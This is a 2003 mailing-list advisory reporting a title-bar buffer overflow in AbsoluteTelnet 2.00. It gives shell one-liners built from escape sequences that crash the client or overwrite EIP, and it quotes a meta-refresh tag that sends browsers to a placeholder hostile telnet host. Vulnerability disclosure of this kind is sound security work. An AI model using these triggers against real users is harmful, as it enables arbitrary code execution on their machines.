AbsoluteTelnet 2.00 buffer overflow.

From: Knud Erik Højgaard (kainat_private)
Date: Thu Feb 06 2003 - 08:36:43 PST

  • Next message: Riley Hassell: "Preventing /*exploitation with*/ rebasing"

    <crap>
    This advisory may be found at http://kokanins.homepage.dk/
    This advisory may not be reproduced, in part or in full, unless this notice
    is included.
    This advisory was written by knud.
    </crap>
    
    I. BACKGROUND
    
    Celestial software's AbsoluteTelnet is "the ultimate terminal client,
    it provides the most rock-solid emulations, the best security, and
    the fastest throughput of all terminal clients, along with unrelenting
    performance and stellar features"
    
    More information about the application is available at
    http://www.celestialsoftware.net/telnet/index.html
    
    II. DESCRIPTION
    
    Insufficient bounds checking in the code that sets the programs titlebar
    leads to execution of arbitrary code.
    The following will reproduce the problem/set EIP to 0x0:
    
    export KNUD=`perl -e 'print "A" x 174'`
    echo -ne "\033]0;$KNUD\007"
    
    and the following will set EBP/EIP to 0x41414141, hence allowing the
    execution of attacker-supplied code.
    
    export KNUD=`perl -e 'print "A" x 296'`
    echo -ne "\033]0;$KNUD\007"
    
    III. ANALYSIS
    
    A user able to entice the victim to 'cat' a file will be able to perform
    this attack. AbsoluteTelnet may furthermore be selected as the "default
    telnet client", which will enable an attacker to exploit this via amongst
    other means, a meta refresh such as
    <META HTTP-EQUIV="Refresh" CONTENT="0;URL=telnet://hostile.serv.er">.
    
    Furthermore the ssh login/password is kept in plaintext in memory throughout
    the entire session, which might enable the attacker to recover this as well.
    
    IV. DETECTION
    
    AbsoluteTelnet 2.00 is vulnerable.
    AbsoluteTelnet 2.11 is vulnerable, but the buffer gets converted to unicode
    before the register overwrite, which hinders exploitation a bit.
    
    
    V. WORKAROUND
    
    http://www.celestialsoftware.net/telnet/beta_software.html has an updated
    beta version.
    
    VI. VENDOR FIX
    
    above
    
    VII. CREDIT
    
    Knud
    



    This archive was generated by hypermail 2b30 : Thu Feb 06 2003 - 08:46:03 PST